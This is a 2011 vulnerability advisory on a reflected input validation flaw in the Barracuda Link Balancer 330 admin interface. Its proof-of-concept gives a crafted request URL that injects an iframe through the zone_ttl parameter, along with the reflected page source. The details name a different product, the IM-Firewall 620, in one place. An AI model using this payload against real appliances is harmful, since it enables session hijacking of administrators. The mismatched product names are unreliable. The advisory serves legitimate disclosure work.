Barracuda Link Balancer 330 - Input Validation Vulnerability

Document Title:
===============
Barracuda Link Balancer 330 - Input Validation Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=33
Barracuda - Link Balancer 330 (Appliance) - Firmware v1.3.2.005 & older versions


Release Date:
=============
2011-10-30


Vulnerability Laboratory ID (VL-ID):
====================================
33


Product & Service Introduction:
===============================
The Barracuda Link Balancer routes and manages traffic across multiple Internet connections. Designed to scale for 
high bandwidth requirements and provide business continuity for an organization, the Barracuda Link Balancer optimizes 
the use of multiple Internet links, such as T1s, T3s, DSL and cable connections from one or multiple Internet service providers.
The Barracuda Load Balancer is a scalable and comprehensive solution for distributing network traffic across multiple servers. 
The Barracuda Load Balancer offers network administrators reliability, speed and security through session persistence with cookie 
data, SSL acceleration and network intrusion prevention.

(Copy of the Vendor Homepage: http://www.barracudanetworks.com/ns/products/balancers.php)


Abstract Advisory Information:
==============================
The Vulnerability Lab Team discovered a input validation vulnerability on Barracuda - Link Balancer 330 (Appliance).



Vulnerability Disclosure Timeline:
==================================
2011-04-18:     Vendor Notification
2011-05-30:     Vendor Response/Feedback
2011-09-**:     Vendor Fix/Patch
2011-10-31:     Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple non-persistent Input Validation vulnerabilities are detected on Barracudas IM-Firewall 620.
Attackers can form malicious client-side requests to hijack customer/admin sessions.
Successful exploitation requires user inter action & can lead to information disclosure, session 
hijacking and access to servers in the intranet.

Vulnerable Module(s): 
						[+] Authoritative DNS - DNS Zones

Vulnerable Param(s):
						[+] zoneid
						[+] scope


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited local low privileged user accounts or remote via high required user inter action. For demonstration ...

Path:			/cgi-mod/
File:			index.cgi
Para:			?&user=guest&password=8a5dd90e272c9b072050d2cc84d9215d&et=1261762797&locale=en_US&primary_tab=SERVICES&new_secondary_tab=adns&
scope_data=barracudalabs.com.&secondary_tab=adns_record_edit&content_only=1&index=6&scope=zone&zone_ttl=
 

References(URL):
http://linkbalancer.xxx.com/cgi-mod/index.cgi?&user=guest&password=8a5dd90e272c9b072050d2cc84d9215d&et=1261762797&locale=en_US&primary_tab=SERVICES&new_secondary_tab=adns&
scope_data=barracudalabs.com.&secondary_tab=adns_record_edit&content_only=1&index=6&scope=zone&zone_ttl=%3E%22%3Ciframe
%20src=http://global-evolution.info%20width=800%20height=800%3E


Site-Code Review:
<input type="hidden" name="popup_url" value="/cgi-mod/index.cgi?&user=guest&password=9fe85b9830bc269188d49d43d1baa4a7&et=1261820374&locale=en_US&primary_tab=SERVICES&new_secondary_tab=adns&scope_data=barracudalabs.com.&secondary_tab=adns_record_edit&content_only=1&index=6&scope=zone&zone_ttl=%3E%22%3Ciframe%20src=http://vulnerability-lab.com%20width=800%20height=800%3E">
<input type="hidden" name="popup_width" value="">
<input type="hidden" name="popup_height" value=""><table id="main_table" summary="Main Table" border="0" cellspacing="0" cellpadding="0" width="100%"><tr><td valign="top" bgcolor="#ffffff" nowrap="nowrap"><table summary="Top Row" cellspacing=0 cellpadding=0 border=0 width=100%><tr><td align=left width=200>



Solution - Fix & Patch:
=======================
2011-09-26:     Vendor Fix/Patch


Security Risk:
==============
The security risk of the 2 non persistent input validation vulnerabilities are estimated as medium(-).


Credits & Authors:
==================
Vulnerability Research Laboratory -  Benjamin Kunz Mejri (Rem0ve)


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=========================
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